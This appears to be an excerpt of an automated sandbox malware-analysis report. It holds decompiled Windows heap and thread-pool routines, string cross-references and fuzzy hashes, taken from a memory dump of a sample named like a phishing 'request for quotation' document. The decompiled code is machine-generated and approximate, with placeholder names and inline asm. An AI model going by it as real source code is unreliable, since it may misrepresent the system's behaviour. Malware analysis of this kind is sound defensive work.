				signed short* _t173;
				signed short _t174;
				intOrPtr* _t182;
				signed short _t184;
				intOrPtr* _t187;
				intOrPtr _t197;
				intOrPtr _t206;
				intOrPtr _t210;
				signed short _t211;
				intOrPtr* _t212;
				signed short _t214;
				signed int _t216;
				intOrPtr _t217;
				signed char _t225;
				signed short _t235;
				signed int _t237;
				intOrPtr* _t238;
				signed int _t242;
				unsigned int _t245;
				signed int _t251;
				intOrPtr* _t252;
				signed int _t253;
				intOrPtr* _t255;
				signed int _t256;
				void* _t257;
				void* _t260;

				_t256 = __edx;
				_t206 = __ecx;
				_t235 = _a4;
				_v44 = __ecx;
				_v24 = _t235;
				if(_t235 == 0) {
					L41:
					return _t131;
				}
				_t251 = ( *(__edx + 4) ^  *(__ecx + 0x54)) & 0x0000ffff;
				if(_t251 == 0) {
					__eflags =  *0xb08748 - 1;
					if( *0xb08748 >= 1) {
						__eflags =  *(__edx + 2) & 0x00000008;
						if(( *(__edx + 2) & 0x00000008) == 0) {
							_t110 = _t256 + 0xfff; // 0xfe7
							__eflags = (_t110 & 0xfffff000) - __edx;
							if((_t110 & 0xfffff000) != __edx) {
								_t197 =  *[fs:0x30];
								__eflags =  *(_t197 + 0xc);
								if( *(_t197 + 0xc) == 0) {
									_push("HEAP: ");
									E00A1B150();
									_t260 = _t257 + 4;
								} else {
									E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
									_t260 = _t257 + 8;
								}
								_push("((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock))");
								E00A1B150();
								_t257 = _t260 + 4;
								__eflags =  *0xb07bc8;
								if(__eflags == 0) {
									E00AD2073(_t206, 1, _t251, __eflags);
								}
								_t235 = _v24;
							}
						}
					}
				}
				_t134 =  *((intOrPtr*)(_t256 + 6));
				if(_t134 == 0) {
					_t210 = _t206;
					_v48 = _t206;
				} else {
					_t210 = (_t256 & 0xffff0000) - ((_t134 & 0x000000ff) << 0x10) + 0x10000;
					_v48 = _t210;
				}
				_v5 =  *(_t256 + 2);
				do {
					if(_t235 > 0xfe00) {
						_v12 = 0xfe00;
						__eflags = _t235 - 0xfe01;
						if(_t235 == 0xfe01) {
							_v12 = 0xfdf0;
						}
						_t138 = 0;
					} else {
						_v12 = _t235 & 0x0000ffff;
						_t138 = _v5;
					}
					 *(_t256 + 2) = _t138;
					 *(_t256 + 4) =  *(_t206 + 0x54) ^ _t251;
					_t236 =  *((intOrPtr*)(_t210 + 0x18));
					if( *((intOrPtr*)(_t210 + 0x18)) == _t210) {
						_t141 = 0;
					} else {
						_t141 = (_t256 - _t210 >> 0x10) + 1;
						_v40 = _t141;
						if(_t141 >= 0xfe) {
							_push(_t210);
							E00ADA80D(_t236, _t256, _t210, 0);
							_t141 = _v40;
						}
					}
					 *(_t256 + 2) =  *(_t256 + 2) & 0x000000f0;
					 *((char*)(_t256 + 6)) = _t141;
					_t142 = _v12;
					 *_t256 = _t142;
					 *(_t256 + 3) = 0;
					_t211 = _t142 & 0x0000ffff;
					 *((char*)(_t256 + 7)) = 0;
					_v20 = _t211;
					if(( *(_t206 + 0x40) & 0x00000040) != 0) {
						_t119 = _t256 + 0x10; // -8
						E00A6D5E0(_t119, _t211 * 8 - 0x10, 0xfeeefeee);
						 *(_t256 + 2) =  *(_t256 + 2) | 0x00000004;
						_t211 = _v20;
					}
					_t252 =  *((intOrPtr*)(_t206 + 0xb4));
					if(_t252 == 0) {
						L56:
						_t212 =  *((intOrPtr*)(_t206 + 0xc0));
						_t146 = _t206 + 0xc0;
						goto L19;
					} else {
						if(_t211 <  *((intOrPtr*)(_t252 + 4))) {
							L15:
							_t185 = _t211;
							goto L17;
						} else {
							while(1) {
								_t187 =  *_t252;
								if(_t187 == 0) {
									_t185 =  *((intOrPtr*)(_t252 + 4)) - 1;
									__eflags =  *((intOrPtr*)(_t252 + 4)) - 1;
									goto L17;
								}
								_t252 = _t187;
								if(_t211 >=  *((intOrPtr*)(_t252 + 4))) {
									continue;
								}
								goto L15;
							}
							while(1) {
								L17:
								_t212 = E00A3AB40(_t206, _t252, 1, _t185, _t211);
								if(_t212 != 0) {
									_t146 = _t206 + 0xc0;
									break;
								}
								_t252 =  *_t252;
								_t211 = _v20;
								_t185 =  *(_t252 + 0x14);
							}
							L19:
							if(_t146 != _t212) {
								_t237 =  *(_t206 + 0x4c);
								_t253 = _v20;
								while(1) {
									__eflags = _t237;
									if(_t237 == 0) {
										_t147 =  *(_t212 - 8) & 0x0000ffff;
									} else {
										_t184 =  *(_t212 - 8);
										_t237 =  *(_t206 + 0x4c);
										__eflags = _t184 & _t237;
										if((_t184 & _t237) != 0) {
											_t184 = _t184 ^  *(_t206 + 0x50);
											__eflags = _t184;
										}
										_t147 = _t184 & 0x0000ffff;
									}
									__eflags = _t253 - (_t147 & 0x0000ffff);
									if(_t253 <= (_t147 & 0x0000ffff)) {
										goto L20;
									}
									_t212 =  *_t212;
									__eflags = _t206 + 0xc0 - _t212;
									if(_t206 + 0xc0 != _t212) {
										continue;
									} else {
										goto L20;
									}
									goto L56;
								}
							}
							L20:
							_t149 =  *((intOrPtr*)(_t212 + 4));
							_t33 = _t256 + 8; // -16
							_t238 = _t33;
							_t254 =  *_t149;
							if( *_t149 != _t212) {
								_push(_t212);
								E00ADA80D(0, _t212, 0, _t254);
							} else {
								 *_t238 = _t212;
								 *((intOrPtr*)(_t238 + 4)) = _t149;
								 *_t149 = _t238;
								 *((intOrPtr*)(_t212 + 4)) = _t238;
							}
							 *((intOrPtr*)(_t206 + 0x74)) =  *((intOrPtr*)(_t206 + 0x74)) + ( *_t256 & 0x0000ffff);
							_t255 =  *((intOrPtr*)(_t206 + 0xb4));
							if(_t255 == 0) {
								L36:
								if( *(_t206 + 0x4c) != 0) {
									 *(_t256 + 3) =  *(_t256 + 1) ^  *(_t256 + 2) ^  *_t256;
									 *_t256 =  *_t256 ^  *(_t206 + 0x50);
								}
								_t210 = _v48;
								_t251 = _v12 & 0x0000ffff;
								_t131 = _v20;
								_t235 = _v24 - _t131;
								_v24 = _t235;
								_t256 = _t256 + _t131 * 8;
								if(_t256 >=  *((intOrPtr*)(_t210 + 0x28))) {
									goto L41;
								} else {
									goto L39;
								}
							} else {
								_t216 =  *_t256 & 0x0000ffff;
								_v28 = _t216;
								if(_t216 <  *((intOrPtr*)(_t255 + 4))) {
									L28:
									_t242 = _t216 -  *((intOrPtr*)(_t255 + 0x14));
									_v32 = _t242;
									if( *((intOrPtr*)(_t255 + 8)) != 0) {
										_t167 = _t242 + _t242;
									} else {
										_t167 = _t242;
									}
									 *((intOrPtr*)(_t255 + 0xc)) =  *((intOrPtr*)(_t255 + 0xc)) + 1;
									_t168 = _t167 << 2;
									_v40 = _t168;
									_t206 = _v44;
									_v16 =  *((intOrPtr*)(_t168 +  *((intOrPtr*)(_t255 + 0x20))));
									if(_t216 ==  *((intOrPtr*)(_t255 + 4)) - 1) {
										 *((intOrPtr*)(_t255 + 0x10)) =  *((intOrPtr*)(_t255 + 0x10)) + 1;
									}
									_t217 = _v16;
									if(_t217 != 0) {
										_t173 = _t217 - 8;
										_v52 = _t173;
										_t174 =  *_t173;
										__eflags =  *(_t206 + 0x4c);
										if( *(_t206 + 0x4c) != 0) {
											_t245 =  *(_t206 + 0x50) ^ _t174;
											_v36 = _t245;
											_t225 = _t245 >> 0x00000010 ^ _t245 >> 0x00000008 ^ _t245;
											__eflags = _t245 >> 0x18 - _t225;
											if(_t245 >> 0x18 != _t225) {
												_push(_t225);
												E00ADA80D(_t206, _v52, 0, 0);
											}
											_t174 = _v36;
											_t217 = _v16;
											_t242 = _v32;
										}
										_v28 = _v28 - (_t174 & 0x0000ffff);
										__eflags = _v28;
										if(_v28 > 0) {
											goto L34;
										} else {
											goto L33;
										}
									} else {
										L33:
										_t58 = _t256 + 8; // -16
										 *((intOrPtr*)(_v40 +  *((intOrPtr*)(_t255 + 0x20)))) = _t58;
										_t206 = _v44;
										_t217 = _v16;
										L34:
										if(_t217 == 0) {
											asm("bts eax, edx");
										}
										goto L36;
									}
								} else {
									goto L24;
								}
								while(1) {
									L24:
									_t182 =  *_t255;
									if(_t182 == 0) {
										_t216 =  *((intOrPtr*)(_t255 + 4)) - 1;
										__eflags = _t216;
										goto L28;
									}
									_t255 = _t182;
									if(_t216 >=  *((intOrPtr*)(_t255 + 4))) {
										continue;
									} else {
										goto L28;
									}
								}
								goto L28;
							}
						}
					}
					L39:
				} while (_t235 != 0);
				_t214 = _v12;
				_t131 =  *(_t206 + 0x54) ^ _t214;
				 *(_t256 + 4) = _t131;
				if(_t214 == 0) {
					__eflags =  *0xb08748 - 1;
					if( *0xb08748 >= 1) {
						_t127 = _t256 + 0xfff; // 0xfff
						_t131 = _t127 & 0xfffff000;
						__eflags = _t131 - _t256;
						if(_t131 != _t256) {
							_t156 =  *[fs:0x30];
							__eflags =  *(_t156 + 0xc);
							if( *(_t156 + 0xc) == 0) {
								_push("HEAP: ");
								E00A1B150();
							} else {
								E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push("ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock");
							_t131 = E00A1B150();
							__eflags =  *0xb07bc8;
							if(__eflags == 0) {
								_t131 = E00AD2073(_t206, 1, _t251, __eflags);
							}
						}
					}
				}
				goto L41;
			}

0x00a3a83a
0x00a3a83c
0x00a3a83e
0x00a3a841
0x00a3a844
0x00a3a84a
0x00a3aa53
0x00a3aa59
0x00a3aa59
0x00a3a858
0x00a3a85e
0x00a3aaf5
0x00a3aafc
0x00a8229e
0x00a822a2
0x00a822a8
0x00a822b3
0x00a822b5
0x00a822bb
0x00a822c1
0x00a822c5
0x00a822e6
0x00a822eb
0x00a822f0
0x00a822c7
0x00a822dc
0x00a822e1
0x00a822e1
0x00a822f3
0x00a822f8
0x00a822fd
0x00a82300
0x00a82307
0x00a8230e
0x00a8230e
0x00a82313
0x00a82313
0x00a822b5
0x00a822a2
0x00a3aafc
0x00a3a864
0x00a3a869
0x00a3aa5c
0x00a3aa5e
0x00a3a86f
0x00a3a87f
0x00a3a885
0x00a3a885
0x00a3a88b
0x00a3a890
0x00a3a896
0x00a3ab0c
0x00a3ab0f
0x00a3ab15
0x00a82320
0x00a82320
0x00a3ab1b
0x00a3a89c
0x00a3a89f
0x00a3a8a2
0x00a3a8a2
0x00a3a8a5
0x00a3a8af
0x00a3a8b3
0x00a3a8b8
0x00a3aa66
0x00a3a8be
0x00a3a8c5
0x00a3a8c6
0x00a3a8ce
0x00a82328
0x00a82332
0x00a82337
0x00a82337
0x00a3a8ce
0x00a3a8d4
0x00a3a8d8
0x00a3a8db
0x00a3a8de
0x00a3a8e1
0x00a3a8e5
0x00a3a8e8
0x00a3a8f0
0x00a3a8f3
0x00a8234c
0x00a82350
0x00a82355
0x00a82359
0x00a82359
0x00a3a8f9
0x00a3a901
0x00a3aae4
0x00a3aae4
0x00a3aaea
0x00000000
0x00a3a907
0x00a3a90a
0x00a3a91d
0x00a3a91d
0x00000000
0x00a3a910
0x00a3a910
0x00a3a910
0x00a3a914
0x00a3a924
0x00a3a924
0x00a3a924
0x00a3a924
0x00a3a916
0x00a3a91b
0x00000000
0x00000000
0x00000000
0x00a3a91b
0x00a3a925
0x00a3a925
0x00a3a932
0x00a3a936
0x00a3a93c
0x00a3a93c
0x00a3a93c
0x00a3ab22
0x00a3ab24
0x00a3ab27
0x00a3ab27
0x00a3a942
0x00a3a944
0x00a3aaba
0x00a3aabd
0x00a3aac0
0x00a3aac0
0x00a3aac2
0x00a3ab2f
0x00a3aac4
0x00a3aac4
0x00a3aac7
0x00a3aaca
0x00a3aacc
0x00a3aace
0x00a3aace
0x00a3aace
0x00a3aad1
0x00a3aad1
0x00a3aad7
0x00a3aad9
0x00000000
0x00000000
0x00a82361
0x00a82369
0x00a8236b
0x00000000
0x00a82371
0x00000000
0x00a82371
0x00000000
0x00a8236b
0x00a3aac0
0x00a3a94a
0x00a3a94a
0x00a3a94d
0x00a3a94d
0x00a3a950
0x00a3a954
0x00a82376
0x00a82380
0x00a3a95a
0x00a3a95a
0x00a3a95c
0x00a3a95f
0x00a3a961
0x00a3a961
0x00a3a967
0x00a3a96a
0x00a3a972
0x00a3aa02
0x00a3aa06
0x00a3aa10
0x00a3aa16
0x00a3aa16
0x00a3aa1b
0x00a3aa21
0x00a3aa24
0x00a3aa27
0x00a3aa29
0x00a3aa2c
0x00a3aa32
0x00000000
0x00000000
0x00000000
0x00000000
0x00a3a978
0x00a3a978
0x00a3a97b
0x00a3a981
0x00a3a996
0x00a3a998
0x00a3a99f
0x00a3a9a2
0x00a8238a
0x00a3a9a8
0x00a3a9a8
0x00a3a9a8
0x00a3a9aa
0x00a3a9ad
0x00a3a9b0
0x00a3a9bb
0x00a3a9be
0x00a3a9c7
0x00a3a9c9
0x00a3a9c9
0x00a3a9cc
0x00a3a9d1
0x00a3aa6d
0x00a3aa70
0x00a3aa73
0x00a3aa75
0x00a3aa79
0x00a3aa7e
0x00a3aa82
0x00a3aa8f
0x00a3aa94
0x00a3aa96
0x00a82392
0x00a823a1
0x00a823a1
0x00a3aa9c
0x00a3aa9f
0x00a3aaa2
0x00a3aaa2
0x00a3aaa8
0x00a3aaab
0x00a3aaaf
0x00000000
0x00a3aab5
0x00000000
0x00a3aab5
0x00a3a9d7
0x00a3a9d7
0x00a3a9da
0x00a3a9e0
0x00a3a9e3
0x00a3a9e6
0x00a3a9e9
0x00a3a9eb
0x00a3a9fd
0x00a3a9fd
0x00000000
0x00a3a9eb
0x00000000
0x00000000
0x00000000
0x00a3a983
0x00a3a983
0x00a3a983
0x00a3a987
0x00a3a995
0x00a3a995
0x00a3a995
0x00a3a995
0x00a3a989
0x00a3a98e
0x00000000
0x00a3a990
0x00000000
0x00a3a990
0x00a3a98e
0x00000000
0x00a3a983
0x00a3a972
0x00a3a90a
0x00a3aa34
0x00a3aa34
0x00a3aa40
0x00a3aa43
0x00a3aa46
0x00a3aa4d
0x00a823ab
0x00a823b2
0x00a823b8
0x00a823be
0x00a823c3
0x00a823c5
0x00a823cb
0x00a823d1
0x00a823d5
0x00a823f6
0x00a823fb
0x00a823d7
0x00a823ec
0x00a823f1
0x00a82403
0x00a82408
0x00a82410
0x00a82417
0x00a82422
0x00a82422
0x00a82417
0x00a823c5
0x00a823b2
0x00000000

Strings

ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock, xrefs: 00A82403
HEAP: , xrefs: 00A822E6, 00A823F6
((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock)), xrefs: 00A822F3
HEAP[%wZ]: , xrefs: 00A822D7, 00A823E7

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: ((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock))$HEAP: $HEAP[%wZ]: $ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock
API String ID: 0-1657114761
Opcode ID: 5e840e623a0e4d3b7ba48dcf1425657c55a7397f18d315571987458ebfcd3cb0
Instruction ID: 64662e1b0b6f284a682a8afff7611f0bd5f4a5fd83cccbfe8c06f29d6dfb1a34
Opcode Fuzzy Hash: 5e840e623a0e4d3b7ba48dcf1425657c55a7397f18d315571987458ebfcd3cb0
Instruction Fuzzy Hash: E8D1F070A002159FDB18CF68C590BBAB7F1FF68300F258169E89A9B342E734ED41CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00A3D1EF, Relevance: 5.2, Strings: 4, Instructions: 211
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00A3D1EF(signed int __ecx) {
				signed int _v8;
				intOrPtr _v68;
				intOrPtr _v72;
				char _v76;
				char _v92;
				char _v100;
				char _v104;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t88;
				intOrPtr _t100;
				signed int _t121;
				void* _t122;
				signed char _t126;
				void* _t128;
				void* _t131;
				void* _t133;
				signed int _t136;
				signed int _t138;

				_t123 = __ecx;
				_t138 = (_t136 & 0xfffffff8) - 0x64;
				_t83 =  *0xb0d360 ^ _t138;
				_v8 =  *0xb0d360 ^ _t138;
				_t121 = __ecx;
				if(__ecx == 0) {
					L15:
					_pop(_t128);
					_pop(_t133);
					_pop(_t122);
					return L00A5B640(_t83, _t122, _v8 ^ _t138, _t126, _t128, _t133);
				} else {
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v104 = 0;
					_v100 = 0;
					_t88 = E00A5F380( *[fs:0x18] + 0x19c,  &_v104, 8);
					_t138 = _t138 + 0xc;
					if(_t88 != 0) {
						_push(8);
						_push( &_v104);
						_push(0x2c);
						_push(0xfffffffe);
						if(E00A595B0() >= 0) {
							_t123 =  *[fs:0x18];
							 *((intOrPtr*)(_t123 + 0x19c)) = _v104;
							 *((intOrPtr*)(_t123 + 0x1a0)) = _v100;
						}
					}
					if(( *(_t121 + 0x28) & 0x00000001) != 0) {
						if(( *(_t121 + 0x38) & 0x00000001) == 0) {
							_t123 = _t121;
							L00A320A0(_t121);
							 *(_t121 + 0x28) =  *(_t121 + 0x28) & 0x000000fe;
						}
					}
					if( *((intOrPtr*)(_t121 + 0x2c)) != 0) {
						if(( *(_t121 + 0x38) & 0x00000002) == 0) {
							E00A13E80(0);
							 *((intOrPtr*)(_t121 + 0x2c)) = 0;
						}
					}
					_t83 =  *(_t121 + 0x48);
					if(_t83 != 0 && ( *(_t83 + 0x10c) & 0x00000001) == 0) {
						_t83 =  *[fs:0x18];
						_t131 = 0x50;
						if( *((intOrPtr*)( *[fs:0x18] + 0xf9c)) != 0) {
							if(( *(_t121 + 0x38) & 0x00000004) == 0) {
								E00A5FA60( &_v92, 0, _t131);
								_t138 = _t138 + 0xc;
								_v72 =  *((intOrPtr*)(_t121 + 0x30));
								_v68 =  *((intOrPtr*)(_t121 + 0x34));
								_push( &_v92);
								_v92 = 0xc0000710;
								_v76 = 2;
								L00A6DEF0(_t123, _t126);
								_push(4);
								_v100 = 0;
								_push( &_v100);
								_push(5);
								_push(0xfffffffe);
								_t83 = E00A595B0();
							}
						}
						_t126 =  *(_t121 + 0x38);
						if((_t126 & 0x00000010) == 0 && E00A3D8FC() != 0) {
							_push( *((intOrPtr*)(_t121 + 0x34)));
							L00AA5720(0x54, 0, "ThreadPool: callback %p(%p) returned with a transaction uncleared\n",  *((intOrPtr*)(_t121 + 0x30)));
							E00A5FA60( &_v92, 0, _t131);
							_t138 = _t138 + 0x20;
							_v92 = 0xc000071d;
							_v76 = 0;
							_push( &_v92);
							_t83 = L00A6DEF0(_t123, _t126);
							_t126 =  *(_t121 + 0x38);
						}
						if((_t126 & 0x00000020) == 0) {
							_t123 =  *[fs:0x18];
							_t100 =  *((intOrPtr*)( *[fs:0x30] + 0xa0));
							_t83 =  *(_t100 + 0xc);
							if( *(_t100 + 0xc) ==  *((intOrPtr*)( *[fs:0x18] + 0x24))) {
								_push( *((intOrPtr*)(_t121 + 0x34)));
								L00AA5720(0x54, 0, "ThreadPool: callback %p(%p) returned with the loader lock held\n",  *((intOrPtr*)(_t121 + 0x30)));
								E00A5FA60( &_v92, 0, _t131);
								_t138 = _t138 + 0x20;
								_v92 = 0xc000071e;
								_v76 = 0;
								_push( &_v92);
								_t83 = L00A6DEF0(_t123, _t126);
								_t126 =  *(_t121 + 0x38);
							}
						}
						if((_t126 & 0x00000040) == 0) {
							_t83 =  *[fs:0x18];
							if( *((intOrPtr*)( *[fs:0x18] + 0xfb8)) != 0) {
								_push( *((intOrPtr*)(_t121 + 0x34)));
								L00AA5720(0x54, 0, "ThreadPool: callback %p(%p) returned with preferred languages set\n",  *((intOrPtr*)(_t121 + 0x30)));
								E00A5FA60( &_v92, 0, _t131);
								_t138 = _t138 + 0x20;
								_v92 = 0xc000071f;
								_v76 = 0;
								_push( &_v92);
								_t83 = L00A6DEF0(_t123, _t126);
								_t126 =  *(_t121 + 0x38);
							}
						}
						if(_t126 >= 0) {
							_t83 =  *[fs:0x18];
							if( *((intOrPtr*)( *[fs:0x18] + 0xf88)) != 0) {
								_push( *((intOrPtr*)(_t121 + 0x34)));
								L00AA5720(0x54, 0, "ThreadPool: callback %p(%p) returned with background priorities set\n",  *((intOrPtr*)(_t121 + 0x30)));
								E00A5FA60( &_v92, 0, _t131);
								_t138 = _t138 + 0x20;
								_v92 = 0xc0000720;
								_v76 = 0;
								_push( &_v92);
								_t83 = L00A6DEF0(_t123, _t126);
							}
						}
					}
					goto L15;
				}
			}

0x00a3d1ef
0x00a3d1f7
0x00a3d1ff
0x00a3d201
0x00a3d206
0x00a3d20c
0x00a3d2f8
0x00a3d2fc
0x00a3d2fd
0x00a3d2fe
0x00a3d309
0x00a3d212
0x00a3d232
0x00a3d239
0x00a3d23a
0x00a3d23b
0x00a3d23e
0x00a3d242
0x00a3d246
0x00a3d24b
0x00a3d250
0x00a83380
0x00a83386
0x00a83387
0x00a83389
0x00a83392
0x00a83398
0x00a833a3
0x00a833ad
0x00a833ad
0x00a83392
0x00a3d25a
0x00a833bc
0x00a833c2
0x00a833c4
0x00a833c9
0x00a833c9
0x00a833bc
0x00a3d263
0x00a833d6
0x00a833dd
0x00a833e2
0x00a833e2
0x00a833d6
0x00a3d269
0x00a3d26e
0x00a3d27d
0x00a3d285
0x00a3d28c
0x00a833ee
0x00a833fb
0x00a83403
0x00a83406
0x00a8340d
0x00a83415
0x00a83416
0x00a8341e
0x00a83426
0x00a8342b
0x00a83431
0x00a83435
0x00a83436
0x00a83438
0x00a8343a
0x00a8343a
0x00a833ee
0x00a3d292
0x00a3d298
0x00a83444
0x00a83452
0x00a83461
0x00a83466
0x00a83469
0x00a83475
0x00a83479
0x00a8347a
0x00a8347f
0x00a8347f
0x00a3d2aa
0x00a3d2b2
0x00a3d2b9
0x00a3d2bf
0x00a3d2c5
0x00a83487
0x00a83495
0x00a834a4
0x00a834a9
0x00a834ac
0x00a834b8
0x00a834bc
0x00a834bd
0x00a834c2
0x00a834c2
0x00a3d2c5
0x00a3d2ce
0x00a3d2d0
0x00a3d2dc
0x00a834ca
0x00a834d8
0x00a834e7
0x00a834ec
0x00a834ef
0x00a834fb
0x00a834ff
0x00a83500
0x00a83505
0x00a83505
0x00a3d2dc
0x00a3d2e4
0x00a3d2e6
0x00a3d2f2
0x00a8350d
0x00a8351b
0x00a8352a
0x00a8352f
0x00a83532
0x00a8353e
0x00a83542
0x00a83543
0x00a83543
0x00a3d2f2
0x00a3d2e4
0x00000000
0x00a3d26e

Strings

ThreadPool: callback %p(%p) returned with background priorities set, xrefs: 00A83513
ThreadPool: callback %p(%p) returned with the loader lock held, xrefs: 00A8348D
ThreadPool: callback %p(%p) returned with preferred languages set, xrefs: 00A834D0
ThreadPool: callback %p(%p) returned with a transaction uncleared, xrefs: 00A8344A

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: ThreadPool: callback %p(%p) returned with a transaction uncleared$ThreadPool: callback %p(%p) returned with background priorities set$ThreadPool: callback %p(%p) returned with preferred languages set$ThreadPool: callback %p(%p) returned with the loader lock held
API String ID: 0-1468400865
Opcode ID: 64c19d32e1f4022bdde8bc4a3c172b9a092a4b6aff4559dc53e228348163fe18
Instruction ID: ab7348bf1f38a9c2220af569a1019b9f2bb6edca00685fe301fa31ec1f1957e9
Opcode Fuzzy Hash: 64c19d32e1f4022bdde8bc4a3c172b9a092a4b6aff4559dc53e228348163fe18
Instruction Fuzzy Hash: A371CFB1904304EFCB20EF54C985B9BBBA8EF55B90F504869FD498B182D774D988CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 00A3A229, Relevance: 5.2, Strings: 4, Instructions: 183
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00A3A229(void* __ecx, void* __edx) {
				signed int _v20;
				char _v24;
				char _v28;
				void* _v44;
				void* _v48;
				void* _v56;
				void* _v60;
				void* __ebx;
				signed int _t55;
				signed int _t57;
				void* _t61;
				intOrPtr _t62;
				void* _t65;
				void* _t71;
				signed char* _t74;
				intOrPtr _t75;
				signed char* _t80;
				intOrPtr _t81;
				void* _t82;
				signed char* _t85;
				signed char _t91;
				void* _t103;
				void* _t105;
				void* _t121;
				void* _t129;
				signed int _t131;
				void* _t133;

				_t105 = __ecx;
				_t133 = (_t131 & 0xfffffff8) - 0x1c;
				_t103 = __edx;
				_t129 = __ecx;
				L00A3DF24(__edx,  &_v28, _t133);
				_t55 =  *(_t129 + 0x40) & 0x00040000;
				asm("sbb edi, edi");
				_t121 = ( ~_t55 & 0x0000003c) + 4;
				if(_t55 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t129);
					_push(0xffffffff);
					_t57 = L00A59730();
					__eflags = _t57;
					if(_t57 < 0) {
						L17:
						_push(_t105);
						E00ADA80D(_t129, 1, _v20, 0);
						_t121 = 4;
						goto L1;
					}
					__eflags = _v20 & 0x00000060;
					if((_v20 & 0x00000060) == 0) {
						goto L17;
					}
					__eflags = _v24 - _t129;
					if(_v24 == _t129) {
						goto L1;
					}
					goto L17;
				}
				L1:
				_push(_t121);
				_push(0x1000);
				_push(_t133 + 0x14);
				_push(0);
				_push(_t133 + 0x20);
				_push(0xffffffff);
				_t61 = E00A59660();
				_t122 = _t61;
				if(_t61 < 0) {
					_t62 =  *[fs:0x30];
					 *((intOrPtr*)(_t129 + 0x218)) =  *((intOrPtr*)(_t129 + 0x218)) + 1;
					__eflags =  *(_t62 + 0xc);
					if( *(_t62 + 0xc) == 0) {
						_push("HEAP: ");
						E00A1B150();
					} else {
						E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *((intOrPtr*)(_t133 + 0xc)));
					_push( *((intOrPtr*)(_t133 + 0x14)));
					_push(_t129);
					E00A1B150("ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)\n", _t122);
					_t65 = 0;
					L13:
					return _t65;
				}
				_t71 = E00A37D50();
				_t124 = 0x7ffe0380;
				if(_t71 != 0) {
					_t74 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				} else {
					_t74 = 0x7ffe0380;
				}
				if( *_t74 != 0) {
					_t75 =  *[fs:0x30];
					__eflags =  *(_t75 + 0x240) & 0x00000001;
					if(( *(_t75 + 0x240) & 0x00000001) != 0) {
						E00AD138A(_t103, _t129,  *((intOrPtr*)(_t133 + 0x10)),  *((intOrPtr*)(_t133 + 0x10)), 8);
					}
				}
				 *((intOrPtr*)(_t129 + 0x230)) =  *((intOrPtr*)(_t129 + 0x230)) - 1;
				 *((intOrPtr*)(_t129 + 0x234)) =  *((intOrPtr*)(_t129 + 0x234)) -  *((intOrPtr*)(_t133 + 0xc));
				if(E00A37D50() != 0) {
					_t80 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				} else {
					_t80 = _t124;
				}
				if( *_t80 != 0) {
					_t81 =  *[fs:0x30];
					__eflags =  *(_t81 + 0x240) & 0x00000001;
					if(( *(_t81 + 0x240) & 0x00000001) != 0) {
						__eflags = E00A37D50();
						if(__eflags != 0) {
							_t124 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						}
						E00AD1582(_t103, _t129,  *((intOrPtr*)(_t133 + 0x10)), __eflags,  *((intOrPtr*)(_t133 + 0x14)),  *(_t129 + 0x74) << 3,  *_t124 & 0x000000ff);
					}
				}
				_t82 = E00A37D50();
				_t125 = 0x7ffe038a;
				if(_t82 != 0) {
					_t85 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
				} else {
					_t85 = 0x7ffe038a;
				}
				if( *_t85 != 0) {
					__eflags = E00A37D50();
					if(__eflags != 0) {
						_t125 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
						__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
					}
					E00AD1582(_t103, _t129,  *((intOrPtr*)(_t133 + 0x10)), __eflags,  *((intOrPtr*)(_t133 + 0x14)),  *(_t129 + 0x74) << 3,  *_t125 & 0x000000ff);
				}
				 *((intOrPtr*)(_t129 + 0x20c)) =  *((intOrPtr*)(_t129 + 0x20c)) + 1;
				_t91 =  *(_t103 + 2);
				if((_t91 & 0x00000004) != 0) {
					E00A6D5E0( *((intOrPtr*)(_t133 + 0x18)),  *((intOrPtr*)(_t133 + 0x10)), 0xfeeefeee);
					_t91 =  *(_t103 + 2);
				}
				 *(_t103 + 2) = _t91 & 0x00000017;
				_t65 = 1;
				goto L13;
			}

0x00a3a229
0x00a3a231
0x00a3a23f
0x00a3a242
0x00a3a244
0x00a3a24c
0x00a3a255
